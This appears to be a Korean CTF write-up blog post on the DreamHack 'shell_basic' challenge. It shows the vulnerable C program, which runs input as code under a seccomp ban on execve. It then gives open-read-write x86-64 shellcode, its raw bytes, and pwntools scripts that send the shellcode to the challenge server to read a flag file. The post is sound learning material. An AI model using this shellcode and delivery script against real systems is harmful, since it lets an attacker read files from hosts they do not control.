쉘코드에 대해 학습한지 얼마되지 않아 용어가 헷갈리는 상태이다......

'main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.' 가 이해가 안가서 main함수에서만 execve를 실행할 수 있다는 건줄 알고 execve 쉘코드로 짜고있었다...
뭔가 이상해서 확인해보니 주어진 코드파일에서 main 말고 나머지 함수들은 execve를 사용하지 못하도록 하는 함수라는 것이었으며
즉, execve와 execveat은 이 문제 풀 때 쓰지 말라는 것이었다.
주어진 코드는 아래와 같다.
보면서 한눈에 이해가 안된 부분은 주석처리로 적어두었다.
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() { // 버퍼 비우고 타임아웃 10초
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() { // execve, execveat 시스템콜 금지
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
// 0x1000 만큼 메모리 공간 할당. rwx 권한 부여
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);
void (*sc)(); // 함수 포인터 sc 선언
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000); // 터미널에서 입력받은 쉘코드를 shellcode 변수에 저장. 입력받거나 사용자로부터 데이터 받을 때 까지 동작 멈추고 기다린다.
sc = (void *)shellcode; // sc 함수 포인터에 shellcode의 주소 할당. shellcode를 함수처럼 취급하겠다.
sc();
}
주어진 파일을 먼저 실행해본다.

위와 같이 shellcode를 입력하라고 한다.
c언어 코드에서 read로 입력받은 쉘코드를 변수에 저장해서 실행시키는 것을 확인했다.
execve를 사용하지 못하니 orw 쉘코드를 사용하면 될 것 같다.
/home/shell_basic/flag_name_is_loooooong을 경로로 orw 쉘코드를 작성한다.
int fd = open(“/home/shell_basic/flag_name_is_loooooong”, O_RDONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
의 내용으로 작성해준다.

경로 끝에는 NULL을 뜻하는 00을 붙여줘야한다. 위는 리틀 엔디언으로 인코딩한 결과라서 맨앞에 붙여준다.
rax에는 8바이트, 바로 push는 4바이트까지 가능하다.
push 0x0 ; NULL byte
mov rax, 0x676e6f6f6f6f6f6f ; "oooooong"
push rax
mov rax, 0x6c5f73695f656d61 ; "ame_is_l"
push rax
mov rax, 0x6e5f67616c662f63 ; "c/flag_n"
push rax
mov rax, 0x697361625f6c6c65 ; "ell_basi"
push rax
mov rax, 0x68732f656d6f682f ; "/home/sh"
push rax
mov rdi, rsp ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
컴파일하여 op코드로 변환해준다.


쉘코드를 얻었다.
from pwn import *
context.level = "debug"
p = remote("host8.dreamhack.games", 10556)
shellcode = "\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendlineafter(b"shellcode: ", shellcode)
p.interactive()

asm()으로 어셈블리어 코드를 변환하도록 하여 바로 보낼 수도 있다.
from pwn import *
context.arch = "amd64"
context.level = "debug"
p = remote("host8.dreamhack.games", 10556)
shellcode = asm("""
xor rax, rax
push rax
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
mov rdi, 1
mov rax, 0x1
syscall
""")
p.sendlineafter(b"shellcode: ", shellcode)
p.interactive()
bin 파일을 만들어서 하는 경우
with open(<bin파일>, "rb") as f:
shellcode = f.read()
로 바로 저장할 수 있다.
shellcraft
pwntools에는 shellcraft 기능이 있다. open, read, write 호출 과정을 직접 쉘코드화하여 생성해준다.
해당 바이너리가 amd64 아키텍쳐를 사용하므로 arch = "amd64"로 지정해주여야한다. (지정 안해주면 asm() 함수로 쉘코드화 할 때 엉뚱한 기계어로 변환되어서 오류발생)

'Write-up > DreamHack' 카테고리의 다른 글
| basic_exploitation_000 (0) | 2026.05.17 |
|---|---|
| Return Address Overwrite (0) | 2026.05.16 |
| addtion-quiz, flag-shop (0) | 2026.05.12 |
| [DH] Exercise : GDB (0) | 2026.05.11 |
| [DH] Digital Forensics Specialist Path 워게임 풀이3 (0) | 2026.03.22 |